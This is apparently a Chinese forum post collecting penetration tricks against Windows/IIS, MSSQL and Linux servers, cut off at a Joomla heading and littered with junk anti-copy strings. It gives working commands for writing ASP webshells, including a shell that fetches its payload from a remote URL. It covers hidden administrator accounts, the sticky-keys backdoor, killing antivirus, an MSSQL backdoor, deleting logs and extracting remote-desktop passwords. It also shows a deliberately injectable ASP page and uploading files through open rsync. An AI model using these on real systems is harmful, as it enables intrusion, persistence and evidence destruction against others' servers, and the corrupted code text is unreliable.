渗透技巧总结

admin

旁站路径问题
  r. c( }" V: t9 V4 y1 u1、读网站配置。
2、用以下VBS
* N- D. r  K' N6 LOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
' h; X% d& S4 {$ I) a2 C5 e* Y        

9 b0 {7 O" f8 S* r' |) TMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
6 A# X3 f2 [) d, O% q  B# U9 M, }" E
Usage:Cscript vWeb.vbs",4096,"Lilo"
8 i4 i: A. B2 Y% S$ k* F7 Q0 I        WScript.Quit
% S( S) `. Q& w4 L& t- T  [End If
Set ObjService=GetObject
$ ^7 ~, P( q4 e
1 I0 d2 ?/ m8 r- x7 U& @% e& o("IIS://LocalHost/W3SVC")
* t# i" e1 p" B9 {. ~6 pFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
/ n9 p9 k8 o* b& [2 b                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

8 _: E  y4 z* ?& l2 t, n<> 0 Then WScript.Quit (1)
4 q6 g; L% c& A% c                WScript.Echo Chr(10) & "[" &

/ s( H7 I3 G/ ?! VOService.ServerComment & "]"
4 ?4 Q9 Q, z% J* [* H) B7 f# V8 y                For Each Binds In OService.ServerBindings
& }9 h) A# W0 h2 Q% c" \     

6 v( @% o' l  c                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
0 f1 m: b3 ~# s, H! G                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
, f! ~3 {* y- s% \
. J* [1 ]$ F% ]         WScript.Echo "ath            : " & VDirObj.Path
$ }9 ^$ F  G: j7 [: R        End If
0 B( |1 M- y. K& S9 k/ \Next
复制代码
% x! v$ u3 D5 S1 ?( v3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
) E, d' f: j. [% ourl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
  d9 M- ?3 ]& ^* _$ I——————————————————————
% f; n7 y1 ?: b, tphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
; r3 t/ ]! a) f+ nnetsh ras set user administrator permit #允许administrator拨入该VPN
: q; y5 \) ?$ K* dnetsh ras set user administrator deny #禁止administrator拨入该VPN
# n  J5 u8 G6 K3 h& a) I9 Lnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
# n5 @: q  |* R5 B* Vnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
0 Z0 t0 W3 d! K5 w: ~————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
8 x4 y" _/ R! O' V' rexec master.dbo.sp_addlogin test,123
* r9 u! l7 o" `& K! i, K1 bEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
  z! V* n4 z0 @3 s4 e
4 O0 f& R/ K( Q0 Z& Y另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
0 x# `$ H) M: ]4 U* Qvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
" y1 n( }' T$ j4 E) Hz.changePassword("123456","")
& g# W: h, }; A  }. C4 b! C8 yz.setting("AccountType")=3;
8 c" ^* y1 |1 p, u. t4 ^0 B
/ e9 y2 [; j* H1 z  y5 Lvbs:
. X. d+ ?+ A, Y: T7 Z/ H6 pSet   o=CreateObject( "Shell.Users" )
) B' S& c! e4 m. e5 S. RSet z=o.create("test")
z.changePassword "123456",""
0 S6 d9 u8 f1 s7 r$ tz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

: a9 ]# o: m% r6 E: Y( v7 J命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
5 s: _5 A& I& Ka、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
( o) v( D3 P/ _6 k9 v( |2 rb、内网环境（LCX）
2 X" o) P- N- Dc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
1 e, ]1 [% Z% F" V' k: J4 P2003 运行mstsc /console   
+ k/ ~+ U9 |. v% O+ F( k
" H% E8 i3 N0 ?杀软关闭（把杀软所在的文件的所有权限去掉）
2 x1 ?: ^: w- W处理变态诺顿企业版：
$ I! K3 `: v3 f8 U. I/ B" `net stop "Symantec AntiVirus" /y
6 J, t/ o* S9 Z3 E( ?net stop "Symantec AntiVirus Definition Watcher" /y
6 W9 `3 i" N: i  I2 Knet stop "Symantec Event Manager" /y
/ r. z2 a' X8 ?& ynet stop "System Event Notification" /y
: G5 Y7 _' v  Z# ]9 x3 [) s6 nnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
6 i% ?1 m: Q; v————————————————————

$ r8 K4 q! ~1 Z  `! G1 J5次SHIFT：
8 A% ^: ~& `' o: }4 H8 {copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
3 x8 a6 w0 q! i5 e* i——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
; z! [+ v; D3 z% @- U2、导出注册表SAM下用户的两个键值
3 b% o8 O1 R  a. J& y* }' u6 v- h+ l1 \3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
/ x6 n' x+ g# X' z% T4 M9 W4、利用Hacker Defender把相关用户注册表隐藏
, S. z0 J4 s* }0 C# K) S——————————————————————
) h6 S, W0 _+ x9 JMSSQL扩展后门：
8 z, b3 L9 T+ T0 H  x" AUSE master;
7 ]. m. n4 P* }# GEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
' i) P- e  Z- g% N4 U: X! c# ?日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
/ o' z: f# V( \  tex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
4 L; P( s. Q4 a) G3 ~. A( _9 r当然可以直接删除ex011120.log / ex011121.log
( ~% R, N& e" @1 j& e: L用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

; K8 @7 x9 d. j2 y- q6 tMSSQL查询分析器连接记录清除：
2 b/ R' v, r$ Q; T+ {$ YMSSQL 2000位于注册表如下：
# z8 {$ U3 g7 q8 T$ CHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
1 |, h0 w  v# M- c9 K4 }% q1 yMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

5 V: d' c3 e5 \* X! X  z4 EServer\90\Tools\Shell\mru.dat
—————————————————————————
. K6 q! h% h  C( {$ c3 n" s防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

2 e& E8 ~5 z* v( f7 a0 P, n7 [<%
/ d# ], n! F8 w0 i0 ?$ R9 iSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
/ Z8 q' v! o3 S- R8 o7 PDim Ads, Retrieval, GetRemoteData
: P8 r; d$ F$ o. yOn Error Resume Next
* t3 o# J- h- h" ]' hSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
; _9 k8 J2 R# [4 u6 M: S7 j; PWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
$ V/ G0 s4 V  c' cEnd With
Set Retrieval = Nothing
8 x: j& @- n: m! d. m( hSet Ads = Server.CreateObject("Adodb.Stream")
4 W. ~7 Y* P' a% vWith Ads
.Type = 1
6 x+ W5 U; B! ^8 H% ?4 a) J9 f* c.Open
.Write GetRemoteData
* c: J" h$ B5 s. C.SaveToFile Server.MapPath(s_LocalFileName), 2
8 o6 b( j4 C7 T6 T2 g' d0 c# l.Cancel()
.Close()
End With
5 @) ~. z; i1 E+ t" a% F- xSet Ads=nothing
+ M: y4 x( W5 l; ~% qEnd Sub
9 A" ]- x' a; ~! Y; B) y* G
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
9 K* Q* T* u! `/ U" f2 {%>

VNC提权方法:
$ [. n3 ?. f& w9 K+ v. q利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
8 z: d+ \0 h5 B, x8 _6 N" d- @- x- @注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
+ H9 @3 x( N5 _4 SRadmin 默认端口是4899，
0 ~( j3 k6 L; f" }& d6 t+ wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
4 d5 V0 @0 K5 w' F1 i/ y如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 l: C! w- C7 O/ h' Z+ K5 V! \Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
8 v) T* Z) k3 S7 m4 r. L  e# {6 c来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
! S& o8 J: s. e. F3 g: x5 s<%
2 F: a. W- \; B( W( c6 xstrSQLServerName = "服务器ip"
& U* f4 L. `+ k) y$ r- I! M% c2 fstrSQLDBUserName = "数据库帐号"
: I- n$ i' \1 q+ BstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
) ?8 p8 x& M, g0 G+ D' ISet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
' `4 [3 M6 n! L) Q" h1 [7 cconn.open strCon
0 s' l$ j5 \# o+ m. @0 gdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
5 J) R% |& `4 I! X* d- gstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
0 l0 L, l' K5 E4 ]' F: x; F5 [rs.close
%>
. a/ T6 _/ K' K0 K% Z复制代码
******liunx 相关******
  `2 E' |8 @. H+ ~, ^, I: T1 q一.ldap渗透技巧
: _/ \% m# c2 r5 W; f  ~( w1.cat /etc/nsswitch
) b& }% o* r. |( y看看密码登录策略我们可以看到使用了file ldap模式
% _- Z0 M- {' _2 \; W' w, `, O3 Q
2.less /etc/ldap.conf
0 I- `& |- R0 t8 dbase ou=People,dc=unix-center,dc=net
; I  b! T5 d( H, w* m5 t% W找到ou,dc,dc设置

" j! z5 T- n7 _+ m3.查找管理员信息
- O2 k5 C4 q% C& K匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! Y+ D8 Y) n7 e! z2 ]% ^
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( b, N. V  M+ ^3 I5 c( _有密码形式
4 ~! k4 I! t$ t  d  V' nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( n5 ^7 M; I7 i
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


" v! i: C" V/ i7 ]4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
, G. ~9 m& h# N9 ]) v
3 v& Z6 }  |/ j: A5 n实战:
7 W7 R( M( N/ n/ }$ e! Z+ s1.cat /etc/nsswitch
+ p0 f3 n! @4 s/ b* N0 f' `看看密码登录策略我们可以看到使用了file ldap模式
& ^# K  H( F6 _8 L& J; o* z/ y; W* i
5 |, G, D6 S. A) C2.less /etc/ldap.conf
: A0 `" k! z" P4 I  z2 ^1 [1 Nbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
+ B- C; i+ L) H, }
3.查找管理员信息
2 D: j. F6 Q% L0 k匿名方式
; B/ j2 L- P; f/ }ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, J- C8 p/ o0 u+ X
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 v4 h- {* F/ V: D0 @" K
# t& r6 D. I3 n5 D
5 P2 {3 |& v, `0 e" W/ G4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
% v3 D7 n' M! i7 A. S/ W; c1 n" n
. E9 V. g, p9 H5 [' Y. Y6 a渗透实战:
8 M$ B2 g7 t8 \4 k$ L2 J: H1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
/ e, N$ J0 y; Z: N- s) Pdn: dc=ruc,dc=edu,dc=cn
dc: ruc
. [" a' g/ G, ~* J% }$ JobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
8 S. N) L3 k8 Euid: manager
5 }4 V$ j/ n  ?4 KobjectClass: inetOrgPerson
+ M0 H+ p5 H$ M, h9 a. [2 jobjectClass: organizationalPerson
objectClass: person
- v) P6 q6 p8 M% J9 RobjectClass: top
9 e& ^/ k) j/ i, xsn: manager
cn: manager

4 O( t* g1 Q: L0 D7 odn: uid=superadmin,dc=ruc,dc=edu,dc=cn
# }( c' G6 r0 d6 |" l1 Y  `uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
  T* z& k5 t* M+ _" kobjectClass: person
& x* X1 n8 i" LobjectClass: top
' r. N" D: n/ t& ~sn: superadmin
) V, J' n) o# U2 wcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
! a! h8 k. E8 n5 s6 y& SobjectClass: person
) d  \; c0 |; t, A6 w% nobjectClass: top
sn: admin
! I- c1 [1 B* R" ncn: admin
' ^% P0 g5 v! X& w
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
' Q% ]. q0 d- [. b8 L7 Z6 E5 ?( t# _uid: dcp_anonymous
5 k: k' H# S0 i0 EobjectClass: top
objectClass: person
0 z2 E; k8 }$ S4 Z9 Q# R/ Y" eobjectClass: organizationalPerson
objectClass: inetOrgPerson
1 }: a$ P9 j3 t0 a, Z$ Ssn: dcp_anonymous
; ~5 q; A: ~3 ]cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
* O1 b5 I8 Y4 t  `
more
version: 1
  x! }' b6 U/ V  ddn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
& b$ N4 R& E- }4 k4 m5 Z0 I' Z2 Dversion: 1
4 ]6 P9 m% I' _% @, c$ z- B- s1 fdn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
- M6 D% a0 W( GsupportedExtension: 2.16.840.1.113730.3.5.7
+ f& R- J( c" V% S6 EsupportedExtension: 2.16.840.1.113730.3.5.8
  E' X) Q) K) WsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
9 Z) {' B! V: U- ^8 W$ R! GsupportedExtension: 2.16.840.1.113730.3.5.3
+ |4 A5 n6 V. f8 G; V' ]supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
' G- ?2 M; e# _' w- t" C- L# C5 q, {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
9 S  E" P* g2 W/ _4 ], K% zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
% k" {. z+ ]- N* Q' h4 F  m4 Z  W) p! `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
& |2 E. v8 z' E* B. y( g- b0 Y4 v% TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" W+ Y& M1 \' p" jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
& S6 @: h+ _2 c! }0 G1 w+ c1 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
/ }5 M8 b( q( _. R, c6 u( M# hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
4 y/ D3 V2 T8 l. v4 \- jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
: e5 L6 Y" G  x8 `2 p/ G6 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
% f; @; b, _+ v# q% B7 {& zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
- W+ J& A' R& x( ~4 j: PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
3 P/ A6 W4 l. _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
$ U7 p7 J" n  _: b2 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, G4 K7 G) p7 a9 N# @4 lsupportedExtension: 1.3.6.1.4.1.1466.20037
: O3 Z0 Y) u1 B/ A2 d5 S2 LsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
0 b8 N# F% ]9 p* M& h) H, OsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
# P+ Q- n7 T3 r- Y+ N+ c7 K) CsupportedControl: 2.16.840.1.113730.3.4.4
6 w3 t6 j5 u! G2 E. xsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
$ j  L0 E5 h0 M( xsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
$ b6 {) ~6 f+ i& s3 p; qsupportedControl: 2.16.840.1.113730.3.4.15
7 |& D. n8 R* N# Q' m, `. WsupportedControl: 2.16.840.1.113730.3.4.17
8 L& ?; m9 N: z9 b4 a' s. n# L8 JsupportedControl: 2.16.840.1.113730.3.4.19
3 G$ }1 P* e+ [+ I! f" E4 }supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
& [) G3 e4 v5 |. ~/ D9 O0 WsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
% |) h! b3 B$ m. r1 ?; p2 [+ EsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
+ a# x" r% k$ ]0 z2 C7 bsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% U2 k& f  C2 W6 M4 i0 lsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
  z9 V- m9 c$ e4 _. lsupportedControl: 2.16.840.1.113730.3.4.12
0 n9 i# y- z- A+ ?supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
9 G6 [& \6 D# G; EsupportedSASLMechanisms: EXTERNAL
" k8 T, J. j( e9 I' W* wsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
$ A% G7 y, [$ j' ?vendorName: Sun Microsystems, Inc.
5 M9 `5 m$ Z# ]" Z7 X6 yvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
( V6 [9 Z& C; Z/ j6 [9 Inetscapemdsuffix: cn=ldap://dc=webA:389
, _4 t  d+ p, ]' h- AsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 F5 H* C$ R3 k8 ]1 F& csupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
9 h; d: J; }" f* |supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
0 B, [' O9 \" ?; h+ U, d2 `0 \supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 o  K0 T1 [/ v: d6 h- j; N  rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  A8 k- e: a7 csupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
8 u, v$ X% _. M) ]3 l' h5 CsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
/ k  m: R$ j: @" ?7 V. gsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
/ I: w6 _: T( P9 SsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
& j5 C% }+ A5 D% X5 c4 ZsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
. Q! H/ s( N' r$ n: ^1 T( msupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 {! T6 ^: i+ ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
7 B2 N/ A2 z% x- P7 |; n3 NsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
) O5 C/ L4 G! v# CsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
* _1 S' x+ h% q7 _  t5 y5 x/ tsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
  G! F# f0 ?& asupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
( Z, e1 x" v8 xsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
$ B4 K) x$ Q. S+ S; asupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
- c5 ~, d- {  x2 u/ ^supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
7 g0 p& g% {' m! A0 N. [  AsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
' z* d6 m, M* q1 q9 asupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
3 Y0 K4 T+ w3 ~' }+ |( WsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
* v- t* o# C- J& [2 Y' n7 Y6 qsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
& w% a$ l8 J0 b* D5 WsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
, G0 `1 M2 l, H4 G$ e# s' usupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
5 S( Y% X4 r  o9 L- z2 n2. NFS渗透技巧
+ }  D7 ~  S* [- |showmount -e ip
: L1 m! r2 C( {5 @8 w列举IP
. L) \- M- e0 Y' L3 i——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
  E- i% X. j3 b$ W* Q0 y8 vrsync 210.51.X.X::
finance
img_finance
) z) i  n! x# i4 b4 A' \auto
8 E( U- T1 ?: Kimg_auto
html_cms
& S, J! t: k6 t: i: Pimg_cms
' S" m: T3 [' Rent_cms
ent_img
4 h6 y" `- h9 k% U7 zceshi
2 U4 Z. {1 n1 ]5 G/ Fres_img
% X0 s7 r1 y2 kres_img_c2
4 U- `1 i  Q2 F& n. v4 nchip
9 K# m/ I" n7 X2 ^1 W2 Vchip_c2
ent_icms
% n1 l. |; v& S# n+ T8 X+ m( U  Vgames
/ o) y. _  ]: ~9 ngamesimg
" K% o6 Y2 \2 E$ Mmedia
mediaimg
! E8 J4 e- m/ b: {fashion
res-fashion
! a& f1 C" t9 _" Mres-fo
: ]8 c+ s- l: ctaobao-home
res-taobao-home
  B; }4 G2 O- M2 l( chouse
. ~  }! Q8 _/ ]' A9 E) Y8 Z* xres-house
res-home
3 i) @1 M% ^+ q. Q5 {" ires-edu
res-ent
4 T7 @% P" L" i  a9 m/ \5 F9 Bres-labs
) k* x. p+ r1 x1 S: e' ?. k1 `) [2 x' Zres-news
9 L3 b% y5 B, H% q2 L: |) Wres-phtv
  D1 V3 J6 B; Lres-media
% U+ X4 D- U# Z/ I* x3 N6 @home
edu
news
" \( V5 N* m' A$ D* t$ e9 xres-book
( ^. T/ ^: g0 c* j9 u. p
: k* Q* v+ |/ ]2 h6 j* `看相应的下级目录(注意一定要在目录后面添加上/)
$ l; F/ f, \9 k2 O1 _
6 y: z. i; g9 f$ ~
" V( Y* t0 z& ?: ?rsync 210.51.X.X::htdocs_app/
8 Y' i/ M( ]4 [& ~* Srsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

7 f" f- l# l3 R- w2.下载rsync服务器上的配置文件
$ D4 P: J0 W. m4 irsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 W8 M1 w) H! I; @  @3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
# y6 n" ]: L  a4 U: |1 Uhttp://app.finance.xxx.com/warn/nothack.txt

. R- I( b0 b0 c3 f, T( J3 ~四.squid渗透技巧
% e  V6 U" t8 H) p; T' H7 t- R7 nnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
: k3 D7 @5 Y8 v2 g* HGET HTTP://WWW.sina.com:22 / HTTP/1.0
/ }/ H  r) n2 T8 B$ }: U. L9 j五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
+ i. Z$ O+ X( F0 X+ U* O
六.joomla渗透小技巧
